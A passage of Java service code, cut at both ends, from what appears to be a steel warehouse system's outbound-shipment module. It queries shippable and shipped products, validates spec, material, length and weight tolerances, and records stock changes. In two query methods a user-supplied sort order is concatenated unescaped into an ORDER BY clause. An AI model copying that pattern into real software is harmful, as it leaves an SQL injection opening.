List<BslProductInfo> prodsByProdId = getProdsByProdId(queryCriteria.getProdId());
if(prodsByProdId != null && prodsByProdId.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsByProdId) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prodIds.size()>0){
prodIds.retainAll(prodIds1);
}else{
prodIds.addAll(prodIds1);
}
}
}
//为了分页查询,重新查下
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
if(prodIds.size()>0){
criteria.andProdIdIn(prodIds);
if(!StringUtils.isBlank(queryCriteria.getProdOrirawid())){
criteria.andProdOrirawidEqualTo(queryCriteria.getProdOrirawid());
}
if(StringUtils.isBlank(queryCriteria.getSort()) || StringUtils.isBlank(queryCriteria.getOrder())){
selectExample.setOrderByClause("`prod_id` desc");
}else{
String sortSql = CaseFormat.LOWER_CAMEL.to(CaseFormat.LOWER_UNDERSCORE, queryCriteria.getSort());
if(!StringUtils.isBlank(sortSql)){
selectExample.setOrderByClause("`"+sortSql+"` "+ queryCriteria.getOrder());
}
}
// 分页处理
PageHelper.startPage(Integer.parseInt(queryCriteria.getPage()), Integer.parseInt(queryCriteria.getRows()));
// 调用sql查询
prodsSelect = bslProductInfoMapper.selectByExample(selectExample);
PageInfo<BslProductInfo> pageInfo = new PageInfo<BslProductInfo>(prodsSelect);
total = pageInfo.getTotal();
}
return BSLResult.ok(total,prodsSelect);
}
/**
* 根据通知单号查询可以出库的产品信息
*/
public List<BslProductInfo> getProdsBySalePlanId(String salePlanId){
//记录返回可出库产品信息
List<BslProductInfo> prodsBySalePlanId = new ArrayList<BslProductInfo>();
//查询实体类
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
//已入库的才能出库
criteria.andProdStatusEqualTo(DictItemOperation.产品状态_已入库);
/*//获取通知单对应类别
BslBsPlanInfo bslBsPlanInfo = bslBsPlanInfoMapper.selectByPrimaryKey(salePlanId);
if(DictItemOperation.收发类别_待处理品处理发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_待处理品);
prodsBySalePlanId = bslProductInfoMapper.selectByExample(selectExample);
}else{*/
//查询该通知单下所有计划
BslSaleInfoDetailExample bslSaleInfoDetailExample = new BslSaleInfoDetailExample();
com.bsl.pojo.BslSaleInfoDetailExample.Criteria criteriaDetail = bslSaleInfoDetailExample.createCriteria();
criteriaDetail.andSalePlanIdEqualTo(salePlanId);
List<BslSaleInfoDetail> bslSaleInfoDetails = bslSaleInfoDetailMapper.selectByExample(bslSaleInfoDetailExample);
//循环查询可以出库的信息(先去重再增加)
for (BslSaleInfoDetail bslSaleInfoDetail : bslSaleInfoDetails) {
List<BslProductInfo> prods = getProdsBySaleSerno(bslSaleInfoDetail.getSaleSerno());
if(prods != null && prods.size()>0){
prodsBySalePlanId.removeAll(prods);
prodsBySalePlanId.addAll(prods);
}
}
//}
return prodsBySalePlanId;
}
/**
* 根据流水计划查询可以出库的产品信息
*/
public List<BslProductInfo> getProdsBySaleSerno(String saleSerno){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
//已入库的才能出库
criteria.andProdStatusEqualTo(DictItemOperation.产品状态_已入库);
//获取流水信息
BslSaleInfoDetail bslSaleInfoDetail = bslSaleInfoDetailMapper.selectByPrimaryKey(saleSerno);
if(bslSaleInfoDetail == null){
return null;
}
if(DictItemOperation.销售单出库标志_已发货.equals(bslSaleInfoDetail.getSaleStatus())){
return null;
}
//获取通知单对应类别
BslBsPlanInfo bslBsPlanInfo = bslBsPlanInfoMapper.selectByPrimaryKey(bslSaleInfoDetail.getSalePlanId());
if(DictItemOperation.收发类别_半成品发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_半成品);
criteria.andProdUserTypeNotEqualTo(DictItemOperation.纵剪带用途_自用);
}else if(DictItemOperation.收发类别_卷板退货.equals(bslBsPlanInfo.getBsFlag()) || DictItemOperation.收发类别_卷板销售发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_卷板);
}else if(DictItemOperation.收发类别_成品发货.equals(bslBsPlanInfo.getBsFlag()) || DictItemOperation.收发类别_成品转场发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_成品);
criteria.andProdDclFlagEqualTo(DictItemOperation.产品外协厂标志_本厂);
}else if(DictItemOperation.收发类别_委外仓成品发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_成品);
criteria.andProdDclFlagNotEqualTo(DictItemOperation.产品外协厂标志_本厂);
}else if(DictItemOperation.收发类别_待处理品处理发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdTypeEqualTo(DictItemOperation.产品类型_待处理品);
criteria.andProdDclFlagEqualTo(DictItemOperation.产品外协厂标志_本厂);
}else{
return null;
}
//如果该流水按产品编号销售出库,增加产品编号
if(DictItemOperation.销售单出库标准_按产品编号销售出库.equals(bslSaleInfoDetail.getSaleFlag())){
criteria.andProdIdEqualTo(bslSaleInfoDetail.getProdId());
}else{
//如果是按重量/数量出库,增加规格钢种
criteria.andProdMaterialEqualTo(bslSaleInfoDetail.getProdMaterial());
criteria.andProdNormEqualTo(bslSaleInfoDetail.getProdNorm());
//成品发货还要增加定尺
if(DictItemOperation.收发类别_成品发货.equals(bslBsPlanInfo.getBsFlag()) ||
DictItemOperation.收发类别_委外仓成品发货.equals(bslBsPlanInfo.getBsFlag())
|| DictItemOperation.收发类别_成品转场发货.equals(bslBsPlanInfo.getBsFlag())){
criteria.andProdLengthEqualTo(bslSaleInfoDetail.getProdLength());
}
}
List<BslProductInfo> prodsBySaleSerno = bslProductInfoMapper.selectByExample(selectExample);
return prodsBySaleSerno;
}
/**
* 根据编号查询可以出库的产品信息
*/
public List<BslProductInfo> getProdsByProdId(String prodId){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
//已入库的才能出库
criteria.andProdStatusEqualTo(DictItemOperation.产品状态_已入库);
criteria.andProdIdEqualTo(prodId);
List<BslProductInfo> prodsByProdId = bslProductInfoMapper.selectByExample(selectExample);
return prodsByProdId;
}
/**
* 根据条件查询已经出库的产品信息
*/
@Override
public BSLResult getOutProdsService(QueryCriteria queryCriteria) {
List<BslProductInfo> prodsSelect = new ArrayList<BslProductInfo>();
long total = 0;
List<String> prods = new ArrayList<String>();
//根据三个条件分别查询,然后取交集
if(!StringUtils.isBlank(queryCriteria.getSalePlanId())){
List<BslProductInfo> prodsBySalePlanId = getOutProdsBySalePlanId(queryCriteria.getSalePlanId());
if(prodsBySalePlanId != null && prodsBySalePlanId.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsBySalePlanId) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prods.size()>0){
prods.retainAll(prodIds1);
}else{
prods.addAll(prodIds1);
}
}
}
if(!StringUtils.isBlank(queryCriteria.getSaleSerno())){
List<BslProductInfo> prodsBySaleSerno = getOutProdsBySaleSerno(queryCriteria.getSaleSerno());
if(prodsBySaleSerno != null && prodsBySaleSerno.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsBySaleSerno) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prods.size()>0){
prods.retainAll(prodIds1);
}else{
prods.addAll(prodIds1);
}
}
}
if(!StringUtils.isBlank(queryCriteria.getProdId())){
List<BslProductInfo> prodsByProdId = getOutProdsByProdId(queryCriteria.getProdId());
if(prodsByProdId != null && prodsByProdId.size()>0){
List<String> prodIds1 = new ArrayList<String>();
for (BslProductInfo bslProductInfo : prodsByProdId) {
prodIds1.add(bslProductInfo.getProdId());
}
if(prods.size()>0){
prods.retainAll(prodIds1);
}else{
prods.addAll(prodIds1);
}
}
}
//为了分页查询,重新查下
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
if(prods.size()>0){
criteria.andProdIdIn(prods);
if(!StringUtils.isBlank(queryCriteria.getProdOrirawid())){
criteria.andProdOrirawidEqualTo(queryCriteria.getProdOrirawid());
}
if(!StringUtils.isBlank(queryCriteria.getProdStatus())){
criteria.andProdStatusEqualTo(queryCriteria.getProdStatus());
}
if(StringUtils.isBlank(queryCriteria.getSort()) || StringUtils.isBlank(queryCriteria.getOrder())){
selectExample.setOrderByClause("`prod_status` desc,`prod_id` desc");
}else{
String sortSql = CaseFormat.LOWER_CAMEL.to(CaseFormat.LOWER_UNDERSCORE, queryCriteria.getSort());
if(!StringUtils.isBlank(sortSql)){
selectExample.setOrderByClause("`"+sortSql+"` "+ queryCriteria.getOrder());
}
}
// 分页处理
PageHelper.startPage(Integer.parseInt(queryCriteria.getPage()), Integer.parseInt(queryCriteria.getRows()));
// 调用sql查询
prodsSelect = bslProductInfoMapper.selectByExample(selectExample);
PageInfo<BslProductInfo> pageInfo = new PageInfo<BslProductInfo>(prodsSelect);
total = pageInfo.getTotal();
}
return BSLResult.ok(total,prodsSelect);
}
/**
* 根据通知单号查询已经出库/已发货的产品信息
*/
public List<BslProductInfo> getOutProdsBySalePlanId(String salePlanId){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
//已入库的才能出库
List<String> lists = new ArrayList<String>();
lists.add(DictItemOperation.产品状态_出库待发货);
lists.add(DictItemOperation.产品状态_已发货);
criteria.andProdStatusIn(lists);
//产品出库单号等于对应单号
criteria.andProdOutPlanEqualTo(salePlanId);
List<BslProductInfo> prodsBySalePlanId = bslProductInfoMapper.selectByExample(selectExample);
return prodsBySalePlanId;
}
/**
* 根据流水计划查询已经出库/已发货的产品信息
*/
public List<BslProductInfo> getOutProdsBySaleSerno(String saleSerno){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
List<String> lists = new ArrayList<String>();
lists.add(DictItemOperation.产品状态_出库待发货);
lists.add(DictItemOperation.产品状态_已发货);
criteria.andProdStatusIn(lists);
criteria.andProdSaleSernoEqualTo(saleSerno);
List<BslProductInfo> prodsBySaleSerno = bslProductInfoMapper.selectByExample(selectExample);
return prodsBySaleSerno;
}
/**
* 根据编号查询已经出库/已发货的产品信息
*/
public List<BslProductInfo> getOutProdsByProdId(String prodId){
BslProductInfoExample selectExample = new BslProductInfoExample();
Criteria criteria = selectExample.createCriteria();
List<String> lists = new ArrayList<String>();
lists.add(DictItemOperation.产品状态_出库待发货);
lists.add(DictItemOperation.产品状态_已发货);
criteria.andProdStatusIn(lists);
criteria.andProdIdEqualTo(prodId);
List<BslProductInfo> prodsByProdId = bslProductInfoMapper.selectByExample(selectExample);
return prodsByProdId;
}
/**
* 发货出库
*/
@Override
public BSLResult updateSaleProdOutPut(String prodId,String salePlanId,String saleSerno,String prodCheckuser,Float prodOutWeight){
//获取该产品信息
BslProductInfo bslProductInfo = bslProductInfoMapper.selectByPrimaryKey(prodId);
if(bslProductInfo == null){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "未查询到该产品信息");
}
if(DictItemOperation.产品类型_半成品.equals(bslProductInfo.getProdType()) && DictItemOperation.纵剪带用途_自用.equals(bslProductInfo.getProdUserType())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "自用类型的纵剪带不允许外销!");
}
if(!DictItemOperation.产品状态_已入库.equals(bslProductInfo.getProdStatus())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "非入库状态的产品无法销售出库!");
}
//如果详细计划不是空,判断是否符合规则
if(!StringUtils.isBlank(saleSerno)){
BslSaleInfoDetail bslSaleInfoDetail = bslSaleInfoDetailMapper.selectByPrimaryKey(saleSerno);
if(bslSaleInfoDetail == null){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "未查询到该详细计划信息");
}
if(!StringUtils.isBlank(salePlanId) && !salePlanId.equals(bslSaleInfoDetail.getSalePlanId())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "所输入详细计划信息不是所输入的销售单下计划,无法出库!");
}
Map<String,String> mapResult = isOutSuccess(bslProductInfo,bslSaleInfoDetail,prodCheckuser,prodOutWeight);
if("0000".equals(mapResult.get("code"))){
return BSLResult.ok(prodId);
}else{
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误,mapResult.get("msg"));
}
}else{
//saleSerno为空则salePlanId不为空
//获取该通知单状态
BslBsPlanInfo bslBsPlanInfo = bslBsPlanInfoMapper.selectByPrimaryKey(salePlanId);
if(bslBsPlanInfo == null){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "未查询到该销售通知单信息");
}
/*if(DictItemOperation.通知单状态_已发货.equals(bslBsPlanInfo.getBsStatus())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "该销售通知单已经发货,无法出库");
}*/
//判断销售出库单类型,若是待处理品,则直接发货
/*if(DictItemOperation.收发类别_待处理品处理发货.equals(bslBsPlanInfo.getBsFlag())){
if(!DictItemOperation.产品类型_待处理品.equals(bslProductInfo.getProdType())){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "该通知单只允许待处理品发货!");
}
//判断完成开始出库
Map<String,String> mapResult = isOutDclSuccess(bslProductInfo,bslBsPlanInfo,prodCheckuser,prodOutWeight);
if(!"0000".equals(mapResult.get("code"))){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "该待处理品出库失败,编号:"+prodId+",原因:"+mapResult.get("msg"));
}
}else{*/
//获取该通知单下所有详细信息
BslSaleInfoDetailExample bslSaleInfoDetailExample = new BslSaleInfoDetailExample();
com.bsl.pojo.BslSaleInfoDetailExample.Criteria criteriaDetail = bslSaleInfoDetailExample.createCriteria();
criteriaDetail.andSalePlanIdEqualTo(salePlanId);
List<BslSaleInfoDetail> bslSaleInfoDetails = bslSaleInfoDetailMapper.selectByExample(bslSaleInfoDetailExample);
Boolean isOut = false;
for (BslSaleInfoDetail bslSaleInfoDetail : bslSaleInfoDetails) {
//循环校验是否满足出库条件
Map<String,String> mapResult = isOutSuccess(bslProductInfo,bslSaleInfoDetail,prodCheckuser,prodOutWeight);
if("0000".equals(mapResult.get("code"))){
isOut = true;
break;
}
}
//说明不满足出库条件
if(!isOut){
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "该产品不满足销售通知单指定信息,无法出库,产品编号:"+prodId);
}
}
//}
return BSLResult.ok(prodId);
}
/**
* 根据产品编号与详细计划判断是否满足,以及满足之后开始出库
*/
public Map<String,String> isOutSuccess(BslProductInfo bslProductInfo,BslSaleInfoDetail bslSaleInfoDetail,String prodCheckuser,Float prodOutWeight){
Map<String,String> map = new HashMap<String,String>();
String salePlanId = bslSaleInfoDetail.getSalePlanId();
String prodId = bslProductInfo.getProdId();
if(DictItemOperation.销售单出库标准_按产品编号销售出库.equals(bslSaleInfoDetail.getSaleFlag())){
if(!prodId.equals(bslSaleInfoDetail.getProdId())){
map.put("code", "1111");
map.put("msg", "所输入产品信息与详细计划指定产品不符,无法出库!");
return map;
}
if(bslSaleInfoDetail.getProdSumnum() >= 1){
map.put("code", "1111");
map.put("msg", "该详细计划指定产品已经出库,无法再次出库!");
return map;
}
//满足条件开始出库
//1-产品信息改为出库待发货
bslProductInfo.setProdStatus(DictItemOperation.产品状态_出库待发货);//修改状态
bslProductInfo.setProdOutPlan(salePlanId);//出库指令
bslProductInfo.setProdSaleSerno(bslSaleInfoDetail.getSaleSerno());
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultProd==0){
map.put("code", "1111");
map.put("msg", "修改产品状态失败!");
return map;
}
//2-修改该笔详细计划
bslSaleInfoDetail.setProdSumnum(1);//已出库数量改为1
bslSaleInfoDetail.setProdSumweight(bslProductInfo.getProdRelWeight());//出库质量为产品实际质量
bslSaleInfoDetail.setSaleStatus(DictItemOperation.销售单出库标志_已达标准);
int resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetail);
if(resultDetail<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultDetail==0){
map.put("code", "1111");
map.put("msg", "修改详细计划状态失败");
return map;
}
//3-刷新通知单状态
salePlanService.updateRefreshSalePlanStatus(salePlanId);
//4-记录库存变动信息
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(prodId);//产品编号
bslStockChangeDetail.setPlanSerno(salePlanId);//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_出售出库);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(bslProductInfo.getProdRelWeight());//重量
bslStockChangeDetail.setInputuser(prodCheckuser);//录入人
bslStockChangeDetail.setPrice(bslSaleInfoDetail.getSalePrice());//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("出售出库");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultStock==0){
map.put("code", "1111");
map.put("msg", "新增库存变动表失败");
return map;
}
}else if(DictItemOperation.销售单出库标准_按数量销售出库.equals(bslSaleInfoDetail.getSaleFlag())){
//如果是按数量出库
//校验已经出库数量是否是最大值
if(bslSaleInfoDetail.getProdSumnum() >= bslSaleInfoDetail.getSaleNum()){
map.put("code", "1111");
map.put("msg", "该详细计划指定出库数量已达最大值,无法出库!");
return map;
}
//检验规格钢种
if(!bslProductInfo.getProdNorm().equals(bslSaleInfoDetail.getProdNorm())){
map.put("code", "1111");
map.put("msg", "该产品规格与该详细计划指定出库规格不符,无法出库!");
return map;
}
if(!bslProductInfo.getProdMaterial().equals(bslSaleInfoDetail.getProdMaterial())){
map.put("code", "1111");
map.put("msg", "该产品钢种与该详细计划指定出库钢种不符,无法出库!");
return map;
}
//定尺不为空(成品出库)
if(bslSaleInfoDetail.getProdLength() != null && bslSaleInfoDetail.getProdLength() > 0){
if(!bslProductInfo.getProdLength().equals(bslSaleInfoDetail.getProdLength())){
map.put("code", "1111");
map.put("msg", "该产品定尺与该详细计划指定出库定尺不符,无法出库!");
return map;
}
}
//校验完成,开始出库
//1-产品信息改为出库待发货
bslProductInfo.setProdSaleSerno(bslSaleInfoDetail.getSaleSerno());
bslProductInfo.setProdStatus(DictItemOperation.产品状态_出库待发货);//修改状态
bslProductInfo.setProdOutPlan(salePlanId);//出库指令
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultProd==0){
map.put("code", "1111");
map.put("msg", "修改产品状态失败!");
return map;
}
//2-修改该笔详细计划
bslSaleInfoDetail.setProdSumnum(bslSaleInfoDetail.getProdSumnum()+1);//已出库数量+1
bslSaleInfoDetail.setProdSumweight(bslSaleInfoDetail.getProdSumweight() + bslProductInfo.getProdRelWeight());//出库质量+产品实际质量
if(bslSaleInfoDetail.getProdSumnum() == bslSaleInfoDetail.getSaleNum()){
bslSaleInfoDetail.setSaleStatus(DictItemOperation.销售单出库标志_已达标准);
}
int resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetail);
if(resultDetail<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultDetail==0){
map.put("code", "1111");
map.put("msg", "修改详细计划状态失败");
return map;
}
//3-刷新通知单状态
salePlanService.updateRefreshSalePlanStatus(salePlanId);
//4-记录库存变动
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(prodId);//产品编号
bslStockChangeDetail.setPlanSerno(salePlanId);//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_出售出库);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(bslProductInfo.getProdRelWeight());//重量
bslStockChangeDetail.setInputuser(prodCheckuser);//录入人
bslStockChangeDetail.setPrice(bslSaleInfoDetail.getSalePrice());//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("出售出库");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultStock==0){
map.put("code", "1111");
map.put("msg", "新增库存变动表失败");
return map;
}
}else{
//如果是按重量出库
//检验规格钢种
if(!bslProductInfo.getProdNorm().equals(bslSaleInfoDetail.getProdNorm())){
map.put("code", "1111");
map.put("msg", "该产品规格与该详细计划指定出库规格不符,无法出库!");
return map;
}
if(!bslProductInfo.getProdMaterial().equals(bslSaleInfoDetail.getProdMaterial())){
map.put("code", "1111");
map.put("msg", "该产品钢种与该详细计划指定出库钢种不符,无法出库!");
return map;
}
//定尺不为空(成品出库)
if(bslSaleInfoDetail.getProdLength() != null && bslSaleInfoDetail.getProdLength() > 0){
if(!bslProductInfo.getProdLength().equals(bslSaleInfoDetail.getProdLength())){
map.put("code", "1111");
map.put("msg", "该产品定尺与该详细计划指定出库定尺不符,无法出库!");
return map;
}
}
Float saleWeightH = bslSaleInfoDetail.getSaleWeight()*1.05f;
Float saleWeightL = bslSaleInfoDetail.getSaleWeight()*0.95f;
//增加后重量
Float sumWeight = bslSaleInfoDetail.getProdSumweight() + bslProductInfo.getProdRelWeight();
if(sumWeight > saleWeightH){
map.put("code", "1111");
map.put("msg", "出库之后该计划累计出库重量大于限定重量,无法出库!");
return map;
}
//校验完成,开始出库
//1-产品信息改为出库待发货
bslProductInfo.setProdStatus(DictItemOperation.产品状态_出库待发货);//修改状态
bslProductInfo.setProdOutPlan(salePlanId);//出库指令
bslProductInfo.setProdSaleSerno(bslSaleInfoDetail.getSaleSerno());
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultProd==0){
map.put("code", "1111");
map.put("msg", "修改产品状态失败!");
return map;
}
//2-修改该笔详细计划
bslSaleInfoDetail.setProdSumnum(bslSaleInfoDetail.getProdSumnum()+1);//已出库数量+1
bslSaleInfoDetail.setProdSumweight(sumWeight);//出库质量+产品入库质量
if(sumWeight>=saleWeightL && sumWeight<=saleWeightH){
bslSaleInfoDetail.setSaleStatus(DictItemOperation.销售单出库标志_已达标准);
}
int resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetail);
if(resultDetail<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultDetail==0){
map.put("code", "1111");
map.put("msg", "修改详细计划状态失败");
return map;
}
//3-记录库存变动信息
salePlanService.updateRefreshSalePlanStatus(salePlanId);
//4-记录库存变动
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(prodId);//产品编号
bslStockChangeDetail.setPlanSerno(salePlanId);//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_出售出库);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(bslProductInfo.getProdRelWeight());//重量
bslStockChangeDetail.setInputuser(prodCheckuser);//录入人
bslStockChangeDetail.setPrice(bslSaleInfoDetail.getSalePrice());//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("出售出库");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultStock==0){
map.put("code", "1111");
map.put("msg", "新增库存变动表失败");
return map;
}
}
//能走到这里说明交易成功
map.put("code", "0000");
map.put("msg", "出库成功");
return map;
}
/**
* 根据产品编号与详细计划判断是否满足,以及满足之后开始出库
*/
public Map<String,String> isOutDclSuccess(BslProductInfo bslProductInfo,BslBsPlanInfo bslBsPlanInfo,String prodCheckuser,Float prodOutWeight){
Map<String,String> map = new HashMap<String,String>();
//满足条件开始出库
//1-产品信息改为出库待发货
bslProductInfo.setProdStatus(DictItemOperation.产品状态_出库待发货);//修改状态
bslProductInfo.setProdOutPlan(bslBsPlanInfo.getBsId());//出库指令
bslProductInfo.setProdSaleSerno("");
bslProductInfo.setProdOutWeight(prodOutWeight);//出库质量
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultProd==0){
map.put("code", "1111");
map.put("msg", "修改产品状态失败!");
return map;
}
//2-修改该笔详细计划
//待处理品不涉及
//3-刷新通知单状态
salePlanService.updateRefreshSalePlanStatus(bslBsPlanInfo.getBsId());
//4-记录库存变动信息
BslStockChangeDetail bslStockChangeDetail = new BslStockChangeDetail();
bslStockChangeDetail.setTransSerno(createStockChangeId());//流水
bslStockChangeDetail.setProdId(bslProductInfo.getProdId());//产品编号
bslStockChangeDetail.setPlanSerno(bslBsPlanInfo.getBsId());//对应的生产指令单号
bslStockChangeDetail.setTransCode(DictItemOperation.库存变动交易码_出售出库);//交易码
bslStockChangeDetail.setProdType(bslProductInfo.getProdType());//产品类型
bslStockChangeDetail.setRubbishWeight(bslProductInfo.getProdRelWeight());//重量
bslStockChangeDetail.setInputuser(prodCheckuser);//录入人
bslStockChangeDetail.setPrice(0f);//价格
bslStockChangeDetail.setCrtDate(new Date());
bslStockChangeDetail.setRemark("待处理品出库");
int resultStock = bslStockChangeDetailMapper.insert(bslStockChangeDetail);
if(resultStock<0){
map.put("code", "1111");
map.put("msg", "sql执行异常!");
return map;
}else if(resultStock==0){
map.put("code", "1111");
map.put("msg", "新增库存变动表失败");
return map;
}
//能走到这里说明交易成功
map.put("code", "0000");
map.put("msg", "出库成功");
return map;
}
/**
* 误发退回
*/
@Override
public BSLResult updateReBackSaleProd(String saleSerno,String prodId,String checkuser){
//获取原产品信息
BslProductInfo bslProductInfo = bslProductInfoMapper.selectByPrimaryKey(prodId);
if (bslProductInfo == null) {
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "根据产品编号未查询到产品信息");
}
String salePlanId = bslProductInfo.getProdOutPlan();
// 出库待发货的才能退回
if (DictItemOperation.销售单出库标志_已发货.equals(bslProductInfo.getProdStatus())) {
throw new BSLException(ErrorCodeInfo.错误类型_状态校验错误, "已发货状态的产品不允许退回!");
}
//出库增加重量
Float saleWeight = bslProductInfo.getProdRelWeight();
//开始退回
//满足条件进行出库,1-产品状态变更 2-插入库存变动表
bslProductInfo.setProdStatus(DictItemOperation.产品状态_已入库);
bslProductInfo.setProdOutPlan("");
bslProductInfo.setProdSaleSerno("");
bslProductInfo.setProdOutCarno("");
bslProductInfo.setProdOutWeight(0f);
bslProductInfo.setUpdDate(new Date());
int resultProd = bslProductInfoMapper.updateByPrimaryKeySelective(bslProductInfo);
if(resultProd<0){
throw new BSLException(ErrorCodeInfo.错误类型_数据库错误,"sql执行异常!");
}else if(resultProd==0){
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录,"修改产品状态失败");
}
//判断产品类型
Float price = 0f;
if(!DictItemOperation.产品类型_待处理品.equals(bslProductInfo.getProdType())){
// 获取原详细计划信息
BslSaleInfoDetail bslSaleInfoDetailOld = bslSaleInfoDetailMapper.selectByPrimaryKey(saleSerno);
if (bslSaleInfoDetailOld == null) {
throw new BSLException(ErrorCodeInfo.错误类型_查询无记录, "根据流水号未查询到销售出库详细信息");
}
price = bslSaleInfoDetailOld.getSalePrice();
//出库完成之后修改销售出库详细状态
//判断出库标志
int resultDetail;
if(DictItemOperation.销售单出库标准_按产品编号销售出库.equals(bslSaleInfoDetailOld.getSaleFlag())){
//如果是按编号出库
bslSaleInfoDetailOld.setProdSumnum(0);//已出库数量改为0
bslSaleInfoDetailOld.setProdSumweight(0f);//出库质量0
bslSaleInfoDetailOld.setSaleStatus(DictItemOperation.销售单出库标志_未达标准);
resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetailOld);
}else if(DictItemOperation.销售单出库标准_按数量销售出库.equals(bslSaleInfoDetailOld.getSaleFlag())){
//如果是按质量出库
bslSaleInfoDetailOld.setProdSumnum(bslSaleInfoDetailOld.getProdSumnum()-1);//已出库数量-1
bslSaleInfoDetailOld.setProdSumweight(bslSaleInfoDetailOld.getProdSumweight() - bslProductInfo.getProdRelWeight());//出库质量-产品实际质量
bslSaleInfoDetailOld.setSaleStatus(DictItemOperation.销售单出库标志_未达标准);
resultDetail = bslSaleInfoDetailMapper.updateByPrimaryKeySelective(bslSaleInfoDetailOld);
}else{
//如果是按重量出库
Float saleWeightH = bslSaleInfoDetailOld.getSaleWeight()*1.05f;
Float saleWeightL = bslSaleInfoDetailOld.getSaleWeight()*0.95f;
//减少后重量
